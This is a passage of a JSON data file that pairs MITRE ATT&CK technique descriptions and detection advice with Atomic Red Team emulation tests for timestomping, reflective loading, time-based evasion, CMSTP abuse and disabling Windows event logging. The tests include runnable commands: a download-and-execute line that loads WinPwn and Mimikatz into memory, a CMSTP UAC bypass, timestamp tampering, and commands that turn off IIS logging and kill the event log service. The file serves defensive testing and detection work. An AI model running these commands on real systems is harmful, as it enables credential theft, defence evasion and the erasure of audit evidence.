- "get_prereq_command": "New-Item -Path #{file_path} -Force | Out-Null\nSet-Content #{file_path} -Value \"T1551.006 Timestomp\" -Force | Out-Null\n"
- }
- ],
- "executor": {
- "command": "Get-ChildItem #{file_path} | % { $_.LastWriteTime = \"#{target_date_time}\" }\n",
- "name": "powershell"
- }
- },
- {
- "name": "Windows - Modify file last access timestamp with PowerShell",
- "auto_generated_guid": "da627f63-b9bd-4431-b6f8-c5b44d061a62",
- "description": "Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_date_time": {
- "description": "Date/time to replace original timestamps with",
- "type": "string",
- "default": "01/01/1970 00:00:00"
- },
- "file_path": {
- "description": "Path of file to change last access timestamp",
- "type": "path",
- "default": "$env:TEMP\\T1551.006_timestomp.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "A file must exist at the path (#{file_path}) to change the last access time on\n",
- "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Path #{file_path} -Force | Out-Null\nSet-Content #{file_path} -Value \"T1551.006 Timestomp\" -Force | Out-Null\n"
- }
- ],
- "executor": {
- "command": "Get-ChildItem #{file_path} | % { $_.LastAccessTime = \"#{target_date_time}\" }\n",
- "name": "powershell"
- }
- },
- {
- "name": "Windows - Timestomp a File",
- "auto_generated_guid": "d7512c33-3a75-4806-9893-69abc3ccdd43",
- "description": "Timestomp kxwn.lock.\n\nSuccessful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. \n\n[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "File path for timestomp payload",
- "type": "string",
- "default": "$env:appdata\\Microsoft"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "timestomp.ps1 must be present in #{file_path}.\n",
- "prereq_command": "if (Test-Path #{file_path}\\timestomp.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1\" -OutFile \"#{file_path}\\timestomp.ps1\"\n"
- },
- {
- "description": "kxwn.lock must be present in #{file_path}.\n",
- "prereq_command": "if (Test-Path -path \"#{file_path}\\kxwn.lock\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Path #{file_path}\\kxwn.lock -ItemType File\n"
- }
- ],
- "executor": {
- "command": "import-module #{file_path}\\timestomp.ps1\ntimestomp -dest \"#{file_path}\\kxwn.lock\"\n",
- "cleanup_command": "Remove-Item #{file_path}\\timestomp.ps1 -ErrorAction Ignore\nRemove-Item #{file_path}\\kxwn.lock -ErrorAction Ignore",
- "name": "powershell"
- }
- }
- ]
- },
- "T1620": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jo\u00e3o Paulo de A. Filho, @Hug1nN__",
- "Shlomi Salem, SentinelOne",
- "Lior Ribak, SentinelOne",
- "Rex Guo, @Xiaofei_REX, Confluera",
- "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a",
- "created": "2021-10-05T01:15:06.293Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1620",
- "url": "https://attack.mitre.org/techniques/T1620"
- },
- {
- "source_name": "00sec Droppers",
- "url": "https://0x00sec.org/t/super-stealthy-droppers/3715",
- "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021."
- },
- {
- "source_name": "S1 Custom Shellcode Tool",
- "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/",
- "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021."
- },
- {
- "source_name": "Mandiant BYOL",
- "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique",
- "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021."
- },
- {
- "source_name": "S1 Old Rat New Tricks",
- "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/",
- "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021."
- },
- {
- "source_name": "MDSec Detecting DOTNET",
- "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/",
- "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021."
- },
- {
- "source_name": "Intezer ACBackdoor",
- "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/",
- "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021."
- },
- {
- "source_name": "Stuart ELF Memory",
- "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html",
- "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021."
- },
- {
- "source_name": "Introducing Donut",
- "url": "https://thewover.github.io/Introducing-Donut/",
- "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
- "modified": "2022-04-21T16:21:09.679Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Reflective Code Loading",
- "x_mitre_detection": "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load()
and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread()
, memfd_create()
, execve()
, and/or execveat()
.(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Script: Script Execution",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1620"
- },
- "atomic_tests": [
- {
- "name": "WinPwn - Reflectively load Mimik@tz into memory",
- "auto_generated_guid": "56b9589c-9170-4682-8c3d-33b86ecb5119",
- "description": "Reflectively load Mimik@tz into memory technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nmimiload -consoleoutput -noninteractive",
- "name": "powershell"
- }
- }
- ]
- },
- "T1497.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jorge Orchilles, SCYTHE",
- "Ruben Dodge, @shotgunner101",
- "Jeff Felling, Red Canary",
- "Deloitte Threat Library Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
- "type": "attack-pattern",
- "created": "2020-03-06T21:11:11.225Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1497.003",
- "url": "https://attack.mitre.org/techniques/T1497/003"
- },
- {
- "source_name": "Deloitte Environment Awareness",
- "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
- "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."
- },
- {
- "source_name": "Revil Independence Day",
- "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/",
- "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021."
- },
- {
- "source_name": "Netskope Nitol",
- "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique",
- "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021."
- },
- {
- "source_name": "Joe Sec Nymaim",
- "url": "https://www.joesecurity.org/blog/3660886847485093803",
- "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021."
- },
- {
- "source_name": "Joe Sec Trickbot",
- "url": "https://www.joesecurity.org/blog/498839998833561473",
- "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."
- },
- {
- "source_name": "ISACA Malware Tricks",
- "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes",
- "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021."
- }
- ],
- "modified": "2021-10-15T22:37:43.854Z",
- "name": "Time Based Evasion",
- "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis",
- "Signature-based detection",
- "Static File Analysis",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1218.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Nik Seetharaman, Palantir",
- "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
- "type": "attack-pattern",
- "created": "2020-01-23T18:27:30.656Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.003",
- "url": "https://attack.mitre.org/techniques/T1218/003"
- },
- {
- "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
- "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
- "source_name": "Microsoft Connection Manager Oct 2009"
- },
- {
- "url": "https://twitter.com/ItsReallyNick/status/958789644165894146",
- "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
- "source_name": "Twitter CMSTP Usage Jan 2018"
- },
- {
- "url": "https://msitpros.com/?p=3960",
- "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
- "source_name": "MSitPros CMSTP Aug 2017"
- },
- {
- "url": "https://twitter.com/NickTyrer/status/958450014111633408",
- "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
- "source_name": "Twitter CMSTP Jan 2018"
- },
- {
- "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
- "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
- "source_name": "GitHub Ultimate AppLocker Bypass List"
- },
- {
- "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
- "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
- "source_name": "Endurant CMSTP July 2018"
- }
- ],
- "modified": "2022-03-11T18:38:36.109Z",
- "name": "Signed Binary Proxy Execution: CMSTP",
- "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1218.003"
- },
- "atomic_tests": [
- {
- "name": "CMSTP Executing Remote Scriptlet",
- "auto_generated_guid": "34e63321-9683-496b-bbc1-7566bc55e624",
- "description": "Adversaries may supply CMSTP.exe with INF files infected with malicious commands\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "inf_file_path": {
- "description": "Path to the INF file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "INF file must exist on disk at specified location (#{inf_file_path})\n",
- "prereq_command": "if (Test-Path #{inf_file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inf_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003.inf\" -OutFile \"#{inf_file_path}\"\n"
- }
- ],
- "executor": {
- "command": "cmstp.exe /s #{inf_file_path}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "CMSTP Executing UAC Bypass",
- "auto_generated_guid": "748cb4f6-2fb3-4e97-b7ad-b22635a09ab0",
- "description": "Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "inf_file_uac": {
- "description": "Path to the INF file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "INF file must exist on disk at specified location (#{inf_file_uac})\n",
- "prereq_command": "if (Test-Path #{inf_file_uac}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inf_file_uac}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf\" -OutFile \"#{inf_file_uac}\"\n"
- }
- ],
- "executor": {
- "command": "cmstp.exe /s #{inf_file_uac} /au\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1562.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a",
- "type": "attack-pattern",
- "created": "2020-02-21T20:46:36.688Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1562.002",
- "url": "https://attack.mitre.org/techniques/T1562/002"
- },
- {
- "source_name": "Windows Log Events",
- "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/",
- "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020."
- },
- {
- "source_name": "EventLog_Core_Technologies",
- "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/",
- "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021."
- },
- {
- "source_name": "Audit_Policy_Microsoft",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy",
- "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021."
- },
- {
- "source_name": "Advanced_sec_audit_policy_settings",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings",
- "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021."
- },
- {
- "source_name": "auditpol",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol",
- "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021."
- },
- {
- "source_name": "Disable_Win_Event_Logging",
- "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging",
- "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021."
- },
- {
- "source_name": "auditpol.exe_STRONTIC",
- "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html",
- "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021."
- },
- {
- "source_name": "T1562.002_redcanaryco",
- "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md",
- "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021."
- },
- {
- "source_name": "def_ev_win_event_logging",
- "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/",
- "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021."
- },
- {
- "source_name": "evt_log_tampering",
- "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c",
- "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021."
- }
- ],
- "modified": "2021-10-19T13:37:30.534Z",
- "name": "Impair Defenses: Disable Windows Event Logging",
- "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy
for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration
for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe
may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog
.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol
and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success
or /failure
parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable
turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y
or auditpol /remove /allusers
.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \n\nIn Event Viewer, Event ID 1102 under the \u201cSecurity\u201d Windows Log and Event ID 104 under the \u201cSystem\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Sensor Health: Host Status",
- "Command: Command Execution",
- "Script: Script Execution",
- "Windows Registry: Windows Registry Key Creation",
- "Process: Process Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_defense_bypassed": [
- "Log analysis"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1562.002"
- },
- "atomic_tests": [
- {
- "name": "Disable Windows IIS HTTP Logging",
- "auto_generated_guid": "69435dcf-c66f-4ec0-a8b1-82beb76b34db",
- "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).\nThis action requires HTTP logging configurations in IIS to be unlocked.\n\nUse the cleanup commands to restore some default auditpol settings (your original settings will be lost)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "website_name": {
- "description": "The name of the website on a server",
- "type": "string",
- "default": "Default Web Site"
- }
- },
- "executor": {
- "command": "C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:true\n",
- "cleanup_command": "if(Test-Path \"C:\\Windows\\System32\\inetsrv\\appcmd.exe\"){\n C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:false *>$null\n}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Disable Windows IIS HTTP Logging via PowerShell",
- "auto_generated_guid": "a957fb0f-1e85-49b2-a211-413366784b1e",
- "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).\nThis action requires HTTP logging configurations in IIS to be unlocked.\n\nUse the cleanup commands to restore some default auditpol settings (your original settings will be lost)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "website_name": {
- "description": "The name of the website on a server",
- "type": "string",
- "default": "Default Web Site"
- }
- },
- "executor": {
- "command": "set-WebConfigurationProperty -PSPath \"IIS:\\Sites\\#{website_name}\\\" -filter \"system.webServer/httpLogging\" -name dontLog -value $true\n",
- "cleanup_command": "if(Test-Path \"C:\\Windows\\System32\\inetsrv\\appcmd.exe\"){\n C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:false *>$null\n}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Kill Event Log Service Threads",
- "auto_generated_guid": "41ac52ba-5d5e-40c0-b267-573ed90489bd",
- "description": "Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
